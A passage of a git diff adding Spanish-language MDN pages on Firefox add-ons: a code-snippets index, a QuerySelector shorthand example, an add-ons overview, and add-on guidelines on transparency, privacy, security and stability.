+ <dt><a href="/en-US/docs/Code_snippets/StringView" title="/en-US/docs/Code_snippets/StringView">StringView</a></dt>
+ <dd>A library that implements a <code>StringView</code> view for <a href="/en-US/docs/Web/JavaScript/Typed_arrays" title="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a>. This lets you access data in typed arrays using C-like string functions.</dd>
+ <dt><a href="/en-US/Add-ons/Code_snippets/Rosetta" title="/en-US/docs/Code_snippets/Rosetta">Rosetta</a></dt>
+ <dd>By default, the only possible standardized scripting language for HTML is <strong>ECMAScript</strong>. Hence, if you are going to use another scripting language you might expect that most of the browsers will not recognize it. Nevertheless, the increasing computational power of modern browsers together with the introduction of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> in ECMAScript allow us, in theory, to build full <a class="external external-icon" href="http://en.wikipedia.org/wiki/Virtual_machine">virtual machines</a> in pure ECMAScript. Therefore, it is also possible, in theory, to use ECMAScript for a smaller task: parsing exotic programming languages (i.e., creating compilers). This snippets shows a possible way to start from.</dd>
+</dl>
+
+<h2 id="Browser-oriented_code" name="Browser-oriented_code">Browser-oriented code</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Code_snippets/Tabbed_browser" title="/en-US/docs/Code_snippets/Tabbed_browser">Tabbed browser code</a> (Firefox/SeaMonkey)</dt>
+ <dd>Basic operations, such as page loading, with the tabbed browser, which is the heart of Mozilla's browser applications</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Cookies" title="/en-US/docs/Code_snippets/Cookies">Cookies</a></dt>
+ <dd>Reading, writing, modifying, and removing cookies</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Page_Loading" title="/en-US/docs/Code_snippets/Page_Loading">Page Loading</a></dt>
+ <dd>Code used to load pages, reload pages, and listen for page loads</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged code</a></dt>
+ <dd>How to communicate from extensions to websites and vice-versa.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Downloading_Files" title="/en-US/docs/Code_snippets/Downloading_Files">Downloading Files</a></dt>
+ <dd>Code to download files, images, and to monitor download progress</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Password_Manager" title="/en-US/docs/Code_snippets/Password_Manager">Password Manager</a></dt>
+ <dd>Code used to read and write passwords to/from the integrated password manager</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Bookmarks" title="/en-US/docs/Code_snippets/Bookmarks">Bookmarks</a></dt>
+ <dd>Code used to read and write bookmarks</dd>
+ <dt><a href="/en-US/docs/Code_snippets/JavaScript_Debugger_Service" title="/en-US/docs/Code_snippets/JavaScript_Debugger_Service">JavaScript Debugger Service</a></dt>
+ <dd>Code used to interact with the JavaScript Debugger Service</dd>
+</dl>
+
+<h2 id="SVG" name="SVG">SVG</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Code_snippets/SVG_General" title="/en-US/docs/Code_snippets/SVG_General">General</a></dt>
+ <dd>General information and utilities</dd>
+ <dt><a href="/en-US/docs/Code_snippets/SVG_Animation" title="/en-US/docs/Code_snippets/SVG_Animation">SVG Animation</a></dt>
+ <dd>Animate SVG using JavaScript and SMIL</dd>
+ <dt><a href="/en-US/docs/Code_snippets/SVG_Interacting_with_script" title="/en-US/docs/Code_snippets/SVG_Interacting_with_script">SVG Interacting with Script</a></dt>
+ <dd>Using JavaScript and DOM events to create interactive SVG</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Embedding_SVG" title="/en-US/docs/Code_snippets/Embedding_SVG">Embedding SVG in HTML and XUL</a></dt>
+ <dd>Using SVG to enhance HTML or XUL based markup</dd>
+</dl>
+
+<h2 id="XUL_Widgets" name="XUL_Widgets">XUL Widgets</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Code_snippets/HTML_in_XUL_for_rich_tooltips" title="/en-US/docs/Code_snippets/HTML_in_XUL_for_rich_tooltips">HTML in XUL for Rich Tooltips</a></dt>
+ <dd>Dynamically embed HTML into a XUL element to attain markup in a tooltip</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Label_and_description" title="/en-US/docs/Code_snippets/Label_and_description">Label and description</a></dt>
+ <dd>Special uses and line breaking examples</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Tree" title="/en-US/docs/Code_snippets/Tree">Tree</a></dt>
+ <dd>Setup and manipulation of trees using XUL and JS</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Scrollbar" title="/en-US/docs/Code_snippets/Scrollbar">Scrollbar</a></dt>
+ <dd>Changing style of scrollbars. Applies to scrollbars in browser and iframe as well.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Autocomplete" title="/en-US/docs/Code_snippets/Autocomplete">Autocomplete</a></dt>
+ <dd>Code used to enable form autocomplete in a browser</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Boxes" title="/en-US/docs/Code_snippets/Boxes">Boxes</a></dt>
+ <dd>Tips and tricks when using boxes as containers</dd>
+ <dt><a class="internal" href="/en-US/docs/Code_snippets/Tabbox" title="/en-US/docs/Code snippets/Tabbox">Tabbox</a></dt>
+ <dd>Removing and manipulating tabs in a tabbox</dd>
+</dl>
+
+<h2 id="Windows-specific" name="Windows-specific">Windows-specific</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Code_snippets/Finding_Window_Handles" title="/en-US/docs/Code_snippets/Finding_Window_Handles">Finding Window Handles (HWND)</a> (Firefox)</dt>
+ <dd>How to use Windows API calls to find various kinds of Mozilla window handles. Window handles can be used for IPC and Accessibility purposes.</dd>
+ <dt><a href="/en-US/docs/Accessing_the_Windows_Registry_Using_XPCOM" title="/en-US/docs/Accessing_the_Windows_Registry_Using_XPCOM">Using the Windows Registry with XPCOM</a></dt>
+ <dd>How to read, write, modify, delete, enumerate, and watch registry keys and values.</dd>
+</dl>
+
+<h2 id="External_links" name="External_links">External links</h2>
+
+<p>The content at <a class="external" href="http://kb.mozillazine.org/Category:Example_code">MozillaZine Example Code</a> is slowly being moved here, but you can still find useful examples there for now.</p>
diff --git a/files/es/mozilla/add-ons/code_snippets/queryselector/index.html b/files/es/mozilla/add-ons/code_snippets/queryselector/index.html
new file mode 100644
index 0000000000..ff3b7d1258
--- /dev/null
+++ b/files/es/mozilla/add-ons/code_snippets/queryselector/index.html
@@ -0,0 +1,99 @@
+---
+title: QuerySelector
+slug: Mozilla/Add-ons/Code_snippets/QuerySelector
+translation_of: Archive/Add-ons/Code_snippets/QuerySelector
+---
+<p> {{ fx_minversion_header(3.5) }}</p>
+
+<p>Siguiendo con lineas de otros frameworks como "jQuery" o "Prototype", acortar el nombre de "querySelector" podria ser conveniente:</p>
+
+<pre class="brush: js">function $ (selector, el) {
+     if (!el) {el = document;}
+     return el.querySelector(selector);
+}
+function $$ (selector, el) {
+     if (!el) {el = document;}
+     return el.querySelectorAll(selector);
+     // Note: the returned object is a NodeList.
+     // If you'd like to convert it to a Array for convenience, use this instead:
+     // return Array.prototype.slice.call(el.querySelectorAll(selector));
+}
+alert($('#myID').id);
+</pre>
+
+<p>(Note that while using the Firefox <a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Helper_commands">Web Console</a>, the above functions are available automatically.)</p>
+
+<p>Both XUL and even XML can be easily made supportable (an alternative approach to the following would be to add ChromeWindow.prototype or Window.prototype, accessing this.document.querySelector, or following the jQuery style of chaining by returning 'this' within each prototype method of $()):</p>
+
+<pre class="brush: js">HTMLDocument.prototype.$ = function (selector) { // Only for HTML
+    return this.querySelector(selector);
+};
+
+Example:
+
+&lt;h1&gt;Test!&lt;/h1&gt;
+&lt;script&gt;
+HTMLDocument.prototype.$ = function (selector) {
+    return this.querySelector(selector);
+};
+alert(document.$('h1')); // [object HTMLHeadingElement]
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">XULDocument.prototype.$ = function (selector) { // Only for XUL
+    return this.querySelector(selector);
+};
+
+Example:
+
+&lt;label value="Test!"/&gt;
+&lt;script type="text/javascript"&gt;&lt;![CDATA[
+XULDocument.prototype.$ = function (selector) { // Only for XUL
+    return this.querySelector(selector);
+};
+
+alert(document.$('label')); // [object XULElement]
+]]&gt;&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">Document.prototype.$ = function (selector) { // Only for plain XML
+    return this.querySelector(selector);
+};
+var foo = document.implementation.createDocument('someNS', 'foo', null); // Create an XML document &lt;foo xmlns="someNS"/&gt;
+var bar = foo.createElementNS('someNS', 'bar'); // add &lt;bar xmlns="someNS"/&gt;
+foo.documentElement.appendChild(bar);
+alert(foo.$('bar').nodeName); // gives 'bar'
+</pre>
+
+<pre class="brush: js">Element.prototype.$ = function (selector) { // Works for HTML, XUL, and plain XML
+    return this.querySelector(selector);
+};
+
+HTML example:
+&lt;h1&gt;&lt;a&gt;Test!&lt;a/&gt;&lt;/h1&gt;
+&lt;script&gt;
+Element.prototype.$ = function (selector) {
+    return this.querySelector(selector);
+};
+alert(document.getElementsByTagName('h1')[0].$('a').nodeName); // 'A'
+
+XUL example:
+&lt;hbox&gt;&lt;vbox/&gt;&lt;/hbox&gt;
+&lt;script type="text/javascript"&gt;&lt;![CDATA[
+Element.prototype.$ = function (selector) {
+    return this.querySelector(selector);
+};
+var XULNS = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul';
+alert(document.getElementsByTagNameNS(XULNS, 'hbox')[0].$('vbox').nodeName); // vbox
+]]&gt;&lt;/script&gt;
+
+XML example:
+&lt;foo xmlns="someNS"&gt;&lt;bar/&gt;&lt;/foo&gt; in document earlier
+var foo = document.getElementsByTagNameNS('someNS', 'foo')[0];
+alert(foo.$('bar'));
+
+</pre>
+
+<p>Note that for plain XML, the # 'id' selector will not work with an 'id' attribute (since a such-named attribute need not necessarily be of type ID in XML, though it is in HTML and XUL), nor will it work with <a href="/en/xml/xml:id" title="en/xml/id">xml:id</a>.</p>
+
+<p>However, it will work with attribute selectors that target non-prefixed attributes (such as 'id', but not xml:id: <a class="external" href="http://www.w3.org/TR/selectors-api/#resolving" rel="freelink">http://www.w3.org/TR/selectors-api/#resolving</a>) (even though CSS3 does support namespaced attribute selectors: <a class="external" href="http://www.w3.org/TR/css3-selectors/#attrnmsp" rel="freelink">http://www.w3.org/TR/css3-selectors/#attrnmsp</a> and potentially xml:id as #: <a class="external" href="http://www.w3.org/TR/css3-selectors/#id-selectors" rel="freelink">http://www.w3.org/TR/css3-selectors/#id-selectors</a> ).</p>
diff --git a/files/es/mozilla/add-ons/index.html b/files/es/mozilla/add-ons/index.html
new file mode 100644
index 0000000000..5a24f7e862
--- /dev/null
+++ b/files/es/mozilla/add-ons/index.html
@@ -0,0 +1,104 @@
+---
+title: Complementos
+slug: Mozilla/Add-ons
+tags:
+  - Complementos
+  - Destino
+  - Mozilla
+  - extensiones
+translation_of: Mozilla/Add-ons
+---
+<div>{{AddonSidebar}}</div>
+
+<div> </div>
+
+<p><span class="seoSummary">Los complementos permiten a los desarrolladores extender y modificar las funcionalidades de Firefox.</span> Están escritos utilizando las tecnologías estándar Web - JavaScript, HTML y CSS - más algunas APIs dedicadas JavaScript. Entre otras cosas, un complemento puede:</p>
+
+<ul>
+ <li>Cambiar la apariencia o el contenido de determinados sitios Web</li>
+ <li>Modificar la interfaz del usuario de Firefox</li>
+ <li>Agregar nuevas características a Firefox</li>
+</ul>
+
+<p>Existen varios tipos de complementos, pero el tipo más común son las extensiones.</p>
+
+<h2 id="Desarrollo_de_las_extensiones">Desarrollo de las extensiones</h2>
+
+<p>En el pasado, habían varias juegos de herramientas para el desarrollo de las extensiones de Firefox, pero al finalizar el mes de noviembre de 2017, <span id="result_box" lang="es"><span>las extensiones deben crearse utilizando las <a href="/es/Add-ons/WebExtensions">API de WebExtensions</a></span></span>. Los otros juegos de herramientas, incluidos los complementos de overlay, los complementos de bootstrap y el complemento SDK, se espera que queden obsoletos durante el mismo período de tiempo.</p>
+
+<p>Si usted está escribiendo un nuevo complemento, le recomendamos que utilice la <a href="es/Add-ons/WebExtensions">API de WebExtensions</a>.</p>
+
+<p>Las WebExtensions están diseñadas para que sean compatibles cross-browser. En la mayoría de los casos podran ser ejecutadas por Chrome, Edge, y Opera con pocos o ningún cambio. También serán completamente compatibles con el multiproceso Firefox.<br>
+ <br>
+ <a href="/es/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Vea las APIs soportada actualmente por Firefox y otros navegadores</a>. Seguimos diseñando e implementando nuevas API en respuesta a las necesidades de los desarrolladores.<br>
+ <br>
+ La mayoría de las APIs de WebExtensions estarán también disponibles para Firefox para Android.</p>
+
+<h3 id="Migrar_un_complemento_ya_existente">Migrar un complemento ya existente</h3>
+
+<p>Si tu mantienes extensiones que están por ser remplazados, tales como XUL overlay, bootstrapped, o extensiones basadas en SDK, le recomendamos que investige como portarlos a WebExtensions. Existen algunos <a href="/en-US/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">recursos de portación en MDN</a>.</p>
+
+<p>Hemos recolectado <a href="https://wiki.mozilla.org/Add-ons/developer/communication">recursos</a> en una página wiki para proporcionar soporte a los desarrolladores mediante la transición. Para empezar, utilice la herramienta de compatibilidad <a href="https://compatibility-lookup.services.mozilla.com/">Lookup Tool</a> para ver si su herramienta será afectada.</p>
+
+<h2 id="Publicar_los_complementos">Publicar los complementos</h2>
+
+<p><a href="https://addons.mozilla.org/es/firefox/">Addons.mozilla.org</a>, comúnmente conocidos como "AMO," es un sitio oficial de Mozilla para que los desarrolladores registren los complementos, y para que los usuarios los descubran. Al subir tu complemento a AMO, puedes participar en nuestra comunidad de usuarios y creadores y encontrar una audiencia para tu complemento.</p>
+
+<p>No es requerido que tu registres tu complemento en AMO, pero tu complemento será firmado por Mozilla o los usuarios no podrán instalarlos.</p>
+
+<p>Para obtener una visión general del proceso de publicación de su complemento, consulte <a href="https://developer.mozilla.org/es/Add-ons/Distribution">Firme y distribuya su complemento</a>.</p>
+
+<h2 id="Otros_tipos_de_complementos">Otros tipos de complementos</h2>
+
+<p>Además de las extensiones, hay algunos otros tipos de complemento que permiten a los usuarios personalizar Firefox. Estos complementos incluyen:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/Add-ons/Themes/Background">Temas ligeros</a> Son una forma sencilla de proporcionar una personalización limitada para Firefox.</li>
+ <li><a href="/es/Add-ons/Firefox_for_Android">Complementos para móviles</a> son complementos de Firefox para Android. Observe que, aunque, tenemos la intención de reemplazar parte de la tecnología subyacente a estas API. En el futuro, WebExtensions será totalmente compatible con Firefox para Android.</li>
+ <li><a href="/es/docs/Creating_OpenSearch_plugins_for_Firefox">Plugins de motores de búsqueda</a> agrega nuevos motores de búsqueda a la barra de búsqueda del navegador.</li>
+ <li><a href="/es/docs/Mozilla/Creating_a_spell_check_dictionary_add-on">Diccionarios del usuario</a> son complementos que le permiten revisar la ortografía en diferentes idiomas.</li>
+ <li><a href="https://support.mozilla.org/kb/use-firefox-interface-other-languages-language-pack">Paquetes de idiomas</a> son complementos que le permiten tener más idiomas disponibles para la interfaz de usuario de Firefox.</li>
+</ul>
+
+<hr>
+<h2 id="Contáctenos">Contáctenos</h2>
+
+<p>Puede utilizar los vínculos siguientes para obtener ayuda, mantenerse al día con las noticias sobre los complementos y darnos su opinión.</p>
+
+<h3 id="Foro_de_complementos">Foro de complementos</h3>
+
+<p>Use el <a href="https://discourse.mozilla-community.org/c/add-ons">foro de discusión sobre complementos</a> para discutir todos los aspectos del desarrollo de los complementos y para obtener ayuda.</p>
+
+<h3 id="Listas_de_correo">Listas de correo</h3>
+
+<p>Utilice la lista <strong>dev-addons</strong> para discutir el desarrollo del ecosistema de complementos, incluyendo el desarrollo del sistema WebExtensions y de AMO:</p>
+
+<ul>
+ <li><a href="https://mail.mozilla.org/listinfo/dev-addons">info de la lista dev-addons</a></li>
+ <li><a href="https://mail.mozilla.org/pipermail/dev-addons/">archivos de dev-addons</a></li>
+</ul>
+
+<p>Utilice la lista <strong>webextensions-support </strong>para obtener ayuda para portar o realizar la transición a WebExtensions:</p>
+
+<p><a href="https://mail.mozilla.org/listinfo/webextensions-support">webextensions-support lista de información</a><br>
+ <a href="https://mail.mozilla.org/private/webextensions-support/">webextensions-support archivos</a></p>
+
+<h3 id="IRC">IRC</h3>
+
+<p>Si eres un fan de IRC, puedes ponerte en contacto:</p>
+
+<ul>
+ <li><a href="irc://irc.mozilla.org/addons">#addons</a> (discusiones sobre el ecosistema de complementos)</li>
+ <li><a href="irc://irc.mozilla.org/extdev">#extdev</a> (discusión general sobre el desarrollo de los complementos)</li>
+ <li><a href="irc://irc.mozilla.org/webextensions">#webextensions</a> (discusión alrededor de la API de WebExtensions en particular)</li>
+</ul>
+
+<h3 id="Informar_de_problemas">Informar de problemas</h3>
+
+<h4 id="Vulnerabilidades_de_seguridad">Vulnerabilidades de seguridad</h4>
+
+<p>Si descubre una vulnerabilidad de segurida en un complemento, incluso si no está hospedado en un sitio de Mozilla, permítanos saberlo y trabajaremos con el desarrollador para corregir el problema. Por favor, infórmelos <a href="http://www.mozilla.org/projects/security/security-bugs-policy.html">confidencialmente </a>en <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=addons.mozilla.org&amp;component=Add-on%20Security&amp;maketemplate=Add-on%20Security%20Bug&amp;bit-23=1&amp;rep_platform=All&amp;op_sys=All">Bugzilla </a>o enviando un correo a <a href="mailto:amo-admins@mozilla.org">amo-admins@mozilla.org</a>.</p>
+
+<h4 id="Errores_en_addons.mozilla.org_(AMO)">Errores en addons.mozilla.org (AMO)</h4>
+
+<p>Si encuentra un problema en el sitio, nos encantaría arreglarlo. Por favor, <a href="https://github.com/mozilla/addons/issues/new">presente un informe de error</a> e incluya tantos detalles como sean posibles.</p>
diff --git a/files/es/mozilla/add-ons/lineamientos_de_complementos/index.html b/files/es/mozilla/add-ons/lineamientos_de_complementos/index.html
new file mode 100644
index 0000000000..3c490d101e
--- /dev/null
+++ b/files/es/mozilla/add-ons/lineamientos_de_complementos/index.html
@@ -0,0 +1,113 @@
+---
+title: Líneamientos Generales para complementos
+slug: Mozilla/Add-ons/Lineamientos_de_complementos
+tags:
+  - Complementos
+translation_of: 'https://extensionworkshop.com/documentation/publish/add-on-policies/'
+---
+<p>Estos lineamientos para complementos se crearon para fomentar una comunidad de desarrolladores de complementos abierta y diversa mientras que al mismo tiempo se garantiza una excelente experiencia de usuario. Se aplican a todos los complementos y actualizaciones complementos independientemente del lugar donde se alojan y también se aplican a las personalizaciones realizadas por instaladores que configuran Firefox sin necesidad de utilizar un complemento. Los complementos alojados en <a class="external text" href="https://addons.mozilla.org/" rel="nofollow">AMO</a> están sujetos a <a href="https://addons.mozilla.org/developers/docs/policies" title="https://addons.mozilla.org/developers/docs/policies">políticas adicionales</a>.</p>
+<h2 id="Se_transparente">Se transparente</h2>
+<ul>
+ <li>Los complementos deben instalarse utilizando el sistema complementos web de instalación o ser aprobadas por el usuario mediante el <a class="external text" href="https://blog.mozilla.org/addons/2011/08/11/strengthening-user-control-of-add-ons/" rel="nofollow">diálogo de instalación opt-in</a>.
+  <ul>
+   <li>Queremos que nuestros usuarios sepan lo que están instalando para que no tengan una sorpresa desagradable por cambios que no esperaban. También queremos que sepan qué deben remover si deciden no mantenerlo.</li>
+   <li>Los complementos instalados a través de instaladores de aplicaciones deben <a class="external text" href="/en-US/docs/Adding_Extensions_using_the_Windows_Registry" rel="nofollow">usar el Registro de Windows</a> o métodos globales de instalación equivalentes, para que Firefox pueda mostrar la pantalla de opt-in. La pantalla opt-in no debe ser modificada de ninguna manera, incluyendo la sobre posición de información adicional o imágenes sobre esta.</li>
+  </ul>
+ </li>
+ <li>Los complementos deben siempre poder des-instalarse o desactivarse desde el Administrador de complementos.
+  <ul>
+   <li>Los complementos instalados globalmente usando el registro de Windows o los directorios de extensiones globales no se pueden desinstalar (<a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=640775" rel="nofollow">bug 640775</a>), pero si pueden desactivarse para producir el mismo efecto.</li>
+  </ul>
+ </li>
+ <li>Los complementos deben utilizar <a class="external text" href="/en-US/docs/Install_manifests#id" rel="nofollow">un único ID</a> durante toda su vida.
+  <ul>
+   <li>Usar el mismo ID para múltiples productos o múltiples ID para un mismo producto, puede ocasionar problemas con las actualizaciones automáticas así como conflictos con las lista de bloqueos. Los complementos pueden cambiar sus ID debido a cambios en la propiedad ya que estos comúnmente utilizan un formato de dirección de correo electrónico (
+    <i>
+     Eje.,</i>
+    personasplus@mozilla.com).</li>
+  </ul>
+ </li>
+ <li>Los complementos no deben usar nombres de marcas registradas, o cualquier otro término de manera que engañe a los usuarios. El uso de las marcas de Mozilla deben seguir <a class="external text" href="http://www.mozilla.org/foundation/trademarks/policy.html" rel="nofollow">nuestras políticas de la marca</a>.</li>
+ <li>Los complementos deben comunicar claramente su propósito y sus características activas, incluyendo las características introducidas mediante las actualizaciones.
+  <ul>
+   <li>Entendemos y apoyamos a los desarrolladores de complementos que deciden monetizar sus productos, pero esto no debería ir en decrimento de la experiencia en la navegación del usuario. Si un complemento inserta anuncios, códigos de afiliados, resultados de búsqueda patrocinados, o cualquier otra funcionalidad parecida en las páginas web, el usuario debe estar en conocimiento de estas funcionalidades cuando el complemento sea instalado. En este mismo sentido, si algunas características requieren de pago para poder ser usadas, o requieren de pago para mantenerse activas luego de un período de prueba, los usuarios deben estar al tanto de esto.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Se_Respetuoso_con_los_Usuarios">Se Respetuoso con los Usuarios</h2>
+<ul>
+ <li>Los complementos deben remover todo el código introducido, ejecutables y cambios en las configuraciones cuando estos sean desinstalados.
+  <ul>
+   <li>Desinstalar un complemento usando el proceso de desinstalación regular debe ser suficiente. Estos lineamientos aplican principalmente a los cambios realizados a las preferencias tales cómo la página principal, buscador principal, configuraciones de red, entre otras. Estas preferencias deben ser restauradas a sus valores anteriores cuando los complementos sean desinstalados. La mayoría de los complementos pueden fácilmente realizar esto efectuando los cambios mediante un <a class="external text" href="/en-US/docs/Building_an_Extension#Defaults_Files" rel="nofollow">archivo de preferencias por defecto</a>.</li>
+  </ul>
+ </li>
+ <li>Los complementos deben respetar las elecciones de los usuarios y no realizar cambios inesperados o limitar la habilidad de los usuarios de revertir los cambios realizados por estos.
+  <ul>
+   <li>Por ejemplo, los usuarios no esperan que un complemento cambie la página principal de Firefox. Preguntar a los usuarios si desean hacer estos cambios extras es siempre recomendado.</li>
+   <li>Hacer que los cambios en las configuraciones sean difíciles o imposibles de revertir esta prohibido. No esta permitido impedir a los usuarios, otros complementos o instaladores realizar cambios en las configuraciones.</li>
+  </ul>
+ </li>
+ <li>Los complementos deben dejar claro como los datos privados son utilizados.
+  <ul>
+   <li>Los complementos que envían data de los usuarios a través de la Internet deben generalmente proveer una Política de Privacidad, idealmente esta debe ser concisa y fácil de leer.</li>
+  </ul>
+ </li>
+ <li>Los desarrolladores de complementos deben proveer algún medio de contacto.
+  <ul>
+   <li>Aun cuando los desarrolladores de complementos no están obligados a proveer canales de soporte a los usuarios, esto es recomendable. Todos los desarrolladores de complementos deben tener un canal de contacto o una dirección de correo pública de manera tal que puedan ser contactados en casos de emergencias, como violaciones a los lineamientos que pudieran concluir en un bloqueo definitivo.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Se_Seguro">Se Seguro</h2>
+<ul>
+ <li>Los complementos no deben causar daño a los datos, sistemas o identidades en línea de los usuarios.</li>
+ <li>Los complementos no deben transmitir los datos privados de los usuarios de manera insegura o exponerlos a terceros de manera innecesaria.
+  <ul>
+   <li>Los datos privados deberán siempre ser enviados utilizando una conexión segura. Esto incluye los datos de navegación tales como URLs visitadas y marcadores.</li>
+   <li>Hacer que el navegador sea fácilmente identificable agregando textos a la cadena de datos del User-Agent o agregar encabezados personalizados es también un tema de privacidad que debe ser evitado.</li>
+  </ul>
+ </li>
+ <li>Los complementos no deben crear o exponer vulnerabilidades del sistema o de la aplicación.
+  <ul>
+   <li>Los Errores/Bugs de seguridad ocurren, pero una vez descubiertos estos deben ser atendidos inmediatamente. Un complemento popular con alguna vulnerabilidad de seguridad es un vector de ataque interesante para los hackers y en estos casos nos moveremos rápidamente a bloquear el complemento si no hay respuesta inmediata del desarrollador.</li>
+  </ul>
+ </li>
+ <li>Los complementos no deben interferir con la aplicación o bloquear las actualizaciones del sistema.</li>
+ <li>Los complementos no deben almacenar ningún dato de navegación mientras se encuentren en el Modo Privado de Navegación.
+  <ul>
+   <li>Es necesario resaltar que el Modo Privado de Navegación es sobre evitar el almacenamiento <em>local</em> de datos mientras se navega, no sobre enviar datos a otros lados. Para conocer más acerca del MPN recomendamos leer <a class="external text" href="http://ehsanakhgari.org/tag/privatebrowsing" rel="nofollow">las publicaciones del blog de Ehsan's</a> sobre ello.</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Se_Estable">Se Estable</h2>
+<ul>
+ <li>Los complementos no deben colgarse u ocasionar cierres inesperados.</li>
+ <li>Los complementos no deben romper o deshabilitar funciones principales de la aplicación.
+  <ul>
+   <li>Esto incluye funciones como la navegación mediante pestañas, Modo de Navegación Privado y la barra de ubicaciones. Los complementos que están específicamente creados para hacer esto están excluidos.</li>
+  </ul>
+ </li>
+ <li>Los complementos no deben causar pérdidas en la memoria o consumir innecesariamente grandes cantidades de memoria.</li>
+ <li>Los complementos no deben reducir el rendimiento de la aplicación o el sistema significativamente.</li>
+ <li>Los complementos no deben consumir recurso de red de manera tal que afecten el uso regular de la aplicación.
+  <ul>
+   <li>Descargar grandes cantidades de datos sin que el usuario no este consiente de ello puede afectar la navegación regular y puede resultar en gastos inesperados para los usuarios que tienen restricciones en el uso de la red (principalmente en móviles)</li>
+  </ul>
+ </li>
+</ul>
+<h2 id="Excepciones">Excepciones</h2>
+<ul>
+ <li>Los complementos pueden romper algunos de estos lineamientos siempre y cuando estos sean los propósitos principales y no exista alguna intención maliciosa (
+  <i>
+   Eje.,</i>
+  una prueba de concepto para demostrar una debilidad de seguridad).</li>
+ <li>Los complementos desplegados por administradores dentro de los ambientes de trabajo, escuelas, kioscos, entre otros, están exentos de la mayoría de estos lineamientos.</li>
+ <li>Los complementos solo pueden correr en código limpio si son desinstalados mientras Firefox esta corriendo y ellos están habilitados, no requerimos que ellos intenten una limpieza posterior cuando sean desinstalados bajo otras circunstancias. Instaladores de aplicaciones que configuran Firefox sin complementos deben revertir cualquier cambio cuando sean desinstalados.</li>
+ <li>Los complementos pueden dejar atrás los cambios en las preferencias que no afecten a Firefox mientras el complemento este no este activo, de manera tal que cualquier configuración anterior del complemento no se pierda cuando el usuario decida re-instalar el complemento en el futuro.</li>
+</ul>
+<p>Otras Excepciones pueden aplicar.</p>
+<h2 id="Cumplimiento">Cumplimiento</h2>
+<p>Los complementos que no sigan estos lineamientos pueden calificar para ser bloqueados, dependiendo en la extensión de las violaciones. Los lineamientos calificados con la palabra <em>debe</em> son especialmente importantes y las violaciones de estos seguramente en una nominación a ser bloqueados.</p>
+<p>El equipo de complementos hará lo mejor posible para tratar de contactar al desarrollador de complementos y proveerá un lapso de tiempo razonable para resolver los problemas antes de que el bloqueo se haga efectivo. Si el complemento es considerado malicioso o su desarrollador es imposible de localizar o posee repetitivas violaciones el bloqueo se llevará acabo de inmediato.</p>
+<p>Las violaciones de los lineamientos deben ser <a class="external text" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Tech%20Evangelism&amp;component=Add-ons" rel="nofollow">reportadas vía Bugzilla</a>, bajo evangelización tecnológica &gt; Complementos. Las preguntas deben ser publicadas en el<a class="external text" href="irc://irc.mozilla.org/addons" rel="nofollow">Canal de IRC #addons</a>.</p>
+<p>Estos lineamientos pueden cambiar en futuro. Todas las actualizaciones serán anunciadas en el <a class="external text" href="https://blog.mozilla.org/addons/" rel="nofollow">Blog de complementos</a>.</p>
diff --git a/files/es/mozilla/add-ons/overlay_extensions/index.html b/files/es/mozilla/add-ons/overlay_extensions/index.html
new file mode 100644
index 0000000000..1522f3ba35
--- /dev/null
+++ b/files/es/mozilla/add-ons/overlay_extensions/index.html
@@ -0,0 +1,57 @@
+---
+title: Extensiones de Superposición
+slug: Mozilla/Add-ons/Overlay_Extensions
+tags:
+  - Extensions
+  - Overlay
+  - extensiones
+translation_of: Archive/Add-ons/Overlay_Extensions
+---
+<p>Esta página contiene enlaces a la documentaciónpara aproximarse al desarrollo de extensiones basadas en aplicaciones Gecko que usa:</p>
+
+<ul>
+ <li>Superposiciones XUL para especificar la interfaz</li>
+ <li>APIs disponibles para código privilegiado como <a href="/en-US/docs/XUL/tabbrowser"><code>tabbrowser</code></a> y <a href="/en-US/docs/Mozilla/JavaScript_code_modules">módulos JavaScript</a> para interactuar con la aplicación y el contenido.</li>
+</ul>
+
+<p>Antes de que Gecko 2.0 fuera lanzado esta era la única manera de desarrollar extensiones. Ahora hay dos técnicas alternativas: <a href="/en-US/docs/Extensions/Bootstrapped_extensions">extensionen sin reinicio</a> y <a href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/">extensiones complementarias basadas SDK</a>. Las privilegiadas APIs de  JavaScript descriptas aquí, aún pueden ser utilizadas por las técnicas más nuevas.</p>
+
+<h2 id="Escuela_XUL">Escuela XUL</h2>
+
+<p><a href="/en-US/Add-ons/Overlay_Extensions/XUL_School">La escuela XUL</a> es una exhaustivo tutorial para el desarrollo de complementos que se enfoca en el desarrollo de extensiones Firefox pero mayoritariamente aplicable a otras aplicaciones basadas en Gecko.</p>
+
+<h2 id="Más_recursos">Más recursos</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
